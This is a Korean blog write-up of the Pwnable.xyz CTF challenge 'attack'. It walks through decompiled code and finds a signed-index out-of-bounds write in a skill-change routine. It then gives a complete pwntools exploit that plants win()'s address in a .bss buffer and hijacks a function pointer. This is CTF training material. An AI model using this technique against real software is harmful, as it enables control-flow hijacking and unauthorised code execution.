tmxklab

[Pwnable.xyz] attack 본문

War Game/Pwnable.xyz

[Pwnable.xyz] attack

tmxk4221 2020. 9. 9. 22:40

1. 문제

nc svc.pwnable.xyz 30020

 

1) mitigation 확인

 

2) 문제 확인

  • 뭔가 2대 2로 pvp를 하는 게임인 것 같다. 서로 스킬을 사용하여 HP를 깎고 살아남으면 게임에서 이기게 된다.

 

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup();
  show_banner();
  main_handler();
  return 0;
}
  • main_handler()를 호출한다.

 

3-2) main_handler()

void __cdecl main_handler()
{
  int wait_time_0; // [rsp+Ch] [rbp-4h]
  int wait_time_0a; // [rsp+Ch] [rbp-4h]

  rand();
  Teams[0].TeamName = strdup("Furanity");
  team.TeamName = strdup("SmiteAllDay");
  while ( 1 )
  {
    wait_time_0 = get_rand_range(3LL);
    wait(wait_time_0);
    if ( wait_time_0 > 1 )
    {
      impatient_trea();
      kiddo_excuse();
    }
    wait_time_0a = (unsigned __int64)get_rand_range(3LL) + 1;
    register_for_arena(wait_time_0a);
    wait(wait_time_0a);
    enter_arena();
    play();
  }
}
  • Temas[0].TeamName에 "Furantiy"문자열을 가리키는 포인터를 저장하고 team.TeamName에 "SmiteAllday"문자열을 가리키는 포인터 저장
    • strdup() : 문자열을 복사하고 복사된 문자열을 가리키는 포인터를 반환
  • 솔직히 바이너리가 복잡하게 되어있어서 다른 것은 자세히 볼 필요 없고 if문안에 play()를 호추하는데 play()와 취약점이 발생하는 부분만 살펴보도록 하자

 

3-3) play()

void __cdecl play()
{
  unsigned int v0; // ecx
  const char *v1; // rax
  int curTeam; // [rsp+8h] [rbp-18h]
  int curPlayer; // [rsp+Ch] [rbp-14h]
  int winner; // [rsp+10h] [rbp-10h]
  int round; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  winner = -1;
  curTeam = 0;
  curPlayer = 0;
  reset_teams();
  if ( Rank > 1 )
    change_equip();
  if ( Rank > 2 )
    do_skill_change();
  round = 0;
  while ( winner == -1 )
  {
    if ( *(&player.IsAlive + 126 * curTeam + 62 * curPlayer) )
    {
      wait(5);
      v0 = round++;
      if ( *(&player.IsCPU + 126 * curTeam + 62 * curPlayer) )
        v1 = "CPU";
      else
        v1 = "Player";
      printf("Round (%s): %d\n", v1, v0);
      show_teamup(Teams);
      show_teamup(&team);
      execute_action(curTeam, curPlayer);
      winner = check_for_win();
    }
    cycle_players(&curPlayer, &curTeam);
  }
  puts("Round (END): It's over");
  printf("Team '%s' won the match...\n\n", Teams[winner].TeamName);
  check_for_rankup(winner);
}
  • Rank가 1보다 크면 change_equip()호출
  • Rank가 2보다 크면 do_skill_change()호출
  • 그리고 winner가 결정될 때까지 execute_action(curTeam, curPlayer)를 호출하는데 여기서 싸우는 로직이 포함되어 있다.
  • 마지막으로 경기가 끝나고 while루프를 빠져나오면 check_for_rankup(winner)를 호출하는데 승패에 상관 없이 Rank가 3보다 작거나 같으면 1씩 증가한다.

 

3-4) do_skill_change()

void __cdecl do_skill_change()
{
  Player *player; // [rsp+0h] [rbp-70h]
  __int64 destSkill; // [rsp+8h] [rbp-68h]
  __int64 isAttack; // [rsp+18h] [rbp-58h]
  char buf[64]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(buf, 0, 0x40uLL);
  printf(
    "Since you're a %s now, you may modify your skills before battle.\n"
    "Do you want to change the type of your skills (y/n)? : ",
    Ranks[Rank]);
  fgets(buf, 3, stdin);
  if ( buf[0] == 'y' )
  {
    show_skills();
    player = getPlayer(0, 0);
    while ( 1 )
    {
      printf("Which skill do you want to change (3 to exit): ");
      destSkill = get_long();
      if ( destSkill > 2 )
        break;
      printf("What type of skill is this (0: Heal, 1: Attack): ");
      isAttack = get_long();
      if ( isAttack <= 1 )
      {
        player->Skills[destSkill].Skill_Func = SkillTable[isAttack];
        player->Skills[destSkill].IsAttackSkill = isAttack;
        player->Skills[destSkill].Value = get_rand(1000);
      }
    }
  }
}
  • Rank가 2보다 크면 호출하는 함수로 해당 로직에서 취약점이 발생한다.
  • 마지막 if문을 살펴보면 isAttack이 1보다 작거나 같으면 Skill Table에서 가져와서 skill을 변경하는 로직인 것 같은데 현재 isAttack의 데이터 타입은 signed이므로 음수가 와도 if문을 만족한다. OOB
  • player->Skills[destSkill].Skill_Func는 execute_player_action()에서 호출되는 함수로 OOB를 통해 여기다가 win()를 넣으면 될 것 같다.

 


2. 접근방법

 

do_skill_change()에서 oob가 발생하는 것을 이용하여 player의 스킬 함수에 win()의 주소를 넣도록 해야하는데... 그 전에 bss영역에 win()주소를 먼저 삽입하도록 하자

 

1) change_equip()

if ( buf[0] == 'y' )
  {
    printf("Name for your equip: ");
    memset(&player.Equip, 0, 0x20uLL);
    fgets(player.Equip.Name, 32, stdin);
    player.Equip.DefValue = get_rand_range(1000LL);
    printf("That's some neat equip, you created there. Is has a def value of %lu\n", player.Equip.DefValue);
  }
  • Rank가 1보다 크면 호출되는 함수로 fgets로 player.Equip.Name에 입력을 받는 것을 알 수 있다.

  • player는 bss영역에 존재하는 구조체 변수로 위 함수를 이용하여 bss영역에 win함수의 주소를 넣을 수 있다.

 

2) player.Equip.Name, SkillTable 위치

  • player : 0x604288
  • player.Equip : 0x604288 + 0xd0
  • player.Equip.Name : 0x604288 + 0xd0 + 0x0 = 0x604358

  • SkillTable : 0x6046e0

  • isAttack * 8 + SkillTable(0x6046e0) = player.Equip.Name(0x604358)
  • isAttack * 8 = -904
  • isAttack = -113

 

공격 프로세스)

  • rank를 3까지 올린다.
  • change_equip()에서 player.Equip.Name에 win()주소를 작성한다.
  • do_skill_change()에서 oob를 이용하여 player.Equip.Name에 있는 win()를 player->Skills[destSkill].Skill_Func에 넣는다.
  • pvp를 한 번 더 진행하면 player->Skills[destSkill].Skill_Func에 있는 win()가 실행된다.

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30020)
e = ELF("./challenge")
#gdb.attach(p)

def loop():
    while True:
        p.sendlineafter("use : ", str(1), timeout=5)
        p.sendlineafter("on : ", str(0), timeout=5)

        if p.recvuntil("Round (END): It's over\n", timeout=1):
            break

# 1. Increase Rank
loop() # rank = 1
loop() # rank = 2

p.recvuntil("Do you want to change your equip (y/n)? : ", timeout=1)
p.sendline("n")

loop() # rank = 3

log.info("############## Rank 3 ##############")

# 2. change_equio() : player.Equip = win() addr
p.recvuntil("Do you want to change your equip (y/n)? : ", timeout=1)
p.sendline("y")
p.sendlineafter("Name for your equip:", p64(e.symbols['win']))

# 3. do_skill_change() : Skill_Func = SkillTable[-113](player.Equio) -> oob
p.sendlineafter("Do you want to change the type of your skills (y/n)?", "y")
p.sendlineafter("(3 to exit):", str(0))
p.sendlineafter("(0: Heal, 1: Attack):", str(-113))
p.sendlineafter("(3 to exit):", str(3))

# 4. Execute Skil_Func
p.sendline(str(0))
p.sendline(str(0))

p.interactive()
  • 가끔 타이밍 안맞을 때도 있어서 몇 번 돌려보면 됨

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] note v5  (0) 2020.09.09
[Pwnable.xyz] AdultVM 3  (0) 2020.09.09
[Pwnable.xyz] AdultVM2  (0) 2020.09.09
[Pwnable.xyz] AdultVM  (0) 2020.09.09
[Pwnable.xyz] note v4  (0) 2020.09.09
Comments